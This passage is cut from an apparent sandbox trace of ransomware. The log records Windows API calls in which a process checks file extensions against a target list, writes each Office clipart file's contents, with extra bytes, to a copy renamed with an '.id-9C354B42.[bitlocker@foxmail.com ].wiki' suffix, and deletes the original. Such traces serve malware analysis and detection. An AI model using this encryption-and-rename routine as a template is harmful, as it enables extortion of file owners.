Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString=".doc") returned 4 [0060.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString=".docx") returned 5 [0060.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.968] lstrlenW (lpString=".pdf") returned 4 [0060.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString=".xls") returned 4 [0060.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.969] lstrlenW (lpString=".xlsx") returned 5 [0060.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.969] lstrlenW (lpString=".ppt") returned 4 [0060.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.969] lstrlenW (lpString=".zip") returned 4 [0060.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.969] lstrlenW (lpString=".rar") returned 4 [0060.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.969] lstrlenW (lpString=".bz2") returned 4 [0060.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.969] lstrlenW (lpString=".7z") returned 3 [0060.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.969] lstrlenW (lpString=".dbf") returned 4 [0060.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.969] lstrlenW (lpString=".1cd") returned 4 [0060.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.969] lstrlenW (lpString=".jpg") returned 4 [0060.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.969] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0060.969] lstrlenW (lpString="AN00853_.WMF") returned 12 [0060.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.970] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=20578) returned 1 [0060.970] CloseHandle (hObject=0x164) returned 1 [0060.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0060.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.970] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.970] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.970] GetLastError () returned 0x0 [0060.970] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5062, lpOverlapped=0x0) returned 1 [0061.053] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0061.054] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.054] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.054] SetEndOfFile (hFile=0x214) returned 1 [0061.054] CloseHandle (hObject=0x214) returned 1 [0061.055] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.055] SetEndOfFile (hFile=0x164) returned 1 [0061.056] CloseHandle (hObject=0x164) returned 1 [0061.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0061.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.056] lstrlenW (lpString=".doc") returned 4 [0061.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.056] lstrlenW (lpString=".docx") returned 5 [0061.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.056] lstrlenW (lpString=".pdf") returned 4 [0061.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.056] lstrlenW (lpString=".xls") returned 4 [0061.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.056] lstrlenW (lpString=".xlsx") returned 5 [0061.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.057] lstrlenW (lpString=".ppt") returned 4 [0061.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString=".zip") returned 4 [0061.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.057] lstrlenW (lpString=".rar") returned 4 [0061.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString=".bz2") returned 4 [0061.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString=".7z") returned 3 [0061.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString=".dbf") returned 4 [0061.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString=".1cd") returned 4 [0061.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString=".jpg") returned 4 [0061.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.057] lstrlenW (lpString=".doc") returned 4 [0061.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString=".docx") returned 5 [0061.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.057] lstrlenW (lpString=".pdf") returned 4 [0061.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString=".xls") returned 4 [0061.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.057] lstrlenW (lpString=".xlsx") returned 5 [0061.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.057] lstrlenW (lpString=".ppt") returned 4 [0061.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.058] lstrlenW (lpString=".zip") returned 4 [0061.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.058] lstrlenW (lpString=".rar") returned 4 [0061.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.058] lstrlenW (lpString=".bz2") returned 4 [0061.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.058] lstrlenW (lpString=".7z") returned 3 [0061.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.058] lstrlenW (lpString=".dbf") returned 4 [0061.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.058] lstrlenW (lpString=".1cd") returned 4 [0061.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0061.058] lstrlenW (lpString=".jpg") returned 4 [0061.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.058] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.058] lstrlenW (lpString="AN00965_.WMF") returned 12 [0061.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.058] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7072) returned 1 [0061.058] CloseHandle (hObject=0x164) returned 1 [0061.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0061.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.059] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.059] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.059] GetLastError () returned 0x0 [0061.059] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0061.061] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0061.063] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.063] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.063] SetEndOfFile (hFile=0x214) returned 1 [0061.063] CloseHandle (hObject=0x214) returned 1 [0061.063] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.063] SetEndOfFile (hFile=0x164) returned 1 [0061.064] CloseHandle (hObject=0x164) returned 1 [0061.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0061.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.064] lstrlenW (lpString=".doc") returned 4 [0061.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.064] lstrlenW (lpString=".docx") returned 5 [0061.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.064] lstrlenW (lpString=".pdf") returned 4 [0061.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.064] lstrlenW (lpString=".xls") returned 4 [0061.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.064] lstrlenW (lpString=".xlsx") returned 5 [0061.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.065] lstrlenW (lpString=".ppt") returned 4 [0061.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".zip") returned 4 [0061.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.065] lstrlenW (lpString=".rar") returned 4 [0061.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString=".bz2") returned 4 [0061.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString=".7z") returned 3 [0061.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".dbf") returned 4 [0061.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".1cd") returned 4 [0061.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".jpg") returned 4 [0061.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".doc") returned 4 [0061.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString=".docx") returned 5 [0061.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.065] lstrlenW (lpString=".pdf") returned 4 [0061.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString=".xls") returned 4 [0061.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.065] lstrlenW (lpString=".xlsx") returned 5 [0061.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.065] lstrlenW (lpString=".ppt") returned 4 [0061.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.065] lstrlenW (lpString=".zip") returned 4 [0061.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.066] lstrlenW (lpString=".rar") returned 4 [0061.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.066] lstrlenW (lpString=".bz2") returned 4 [0061.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.066] lstrlenW (lpString=".7z") returned 3 [0061.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.066] lstrlenW (lpString=".dbf") returned 4 [0061.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.066] lstrlenW (lpString=".1cd") returned 4 [0061.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0061.066] lstrlenW (lpString=".jpg") returned 4 [0061.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.066] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.066] lstrlenW (lpString="AN01039_.WMF") returned 12 [0061.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.066] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3344) returned 1 [0061.066] CloseHandle (hObject=0x164) returned 1 [0061.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0061.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.067] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.067] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.067] GetLastError () returned 0x0 [0061.067] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xd10, lpOverlapped=0x0) returned 1 [0061.069] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0061.070] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.070] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.070] SetEndOfFile (hFile=0x214) returned 1 [0061.070] CloseHandle (hObject=0x214) returned 1 [0061.070] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.071] SetEndOfFile (hFile=0x164) returned 1 [0061.071] CloseHandle (hObject=0x164) returned 1 [0061.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0061.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.072] lstrlenW (lpString=".doc") returned 4 [0061.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString=".docx") returned 5 [0061.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.072] lstrlenW (lpString=".pdf") returned 4 [0061.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString=".xls") returned 4 [0061.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.072] lstrlenW (lpString=".xlsx") returned 5 [0061.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.072] lstrlenW (lpString=".ppt") returned 4 [0061.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.072] lstrlenW (lpString=".zip") returned 4 [0061.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.072] lstrlenW (lpString=".rar") returned 4 [0061.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString=".bz2") returned 4 [0061.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString=".7z") returned 3 [0061.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.072] lstrlenW (lpString=".dbf") returned 4 [0061.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.072] lstrlenW (lpString=".1cd") returned 4 [0061.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".jpg") returned 4 [0061.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0061.073] lstrlenW (lpString=".doc") returned 4 [0061.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString=".docx") returned 5 [0061.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.073] lstrlenW (lpString=".pdf") returned 4 [0061.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString=".xls") returned 4 [0061.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.073] lstrlenW (lpString=".xlsx") returned 5 [0061.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.073] lstrlenW (lpString=".ppt") returned 4 [0061.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.073] lstrlenW (lpString="C:\\Program 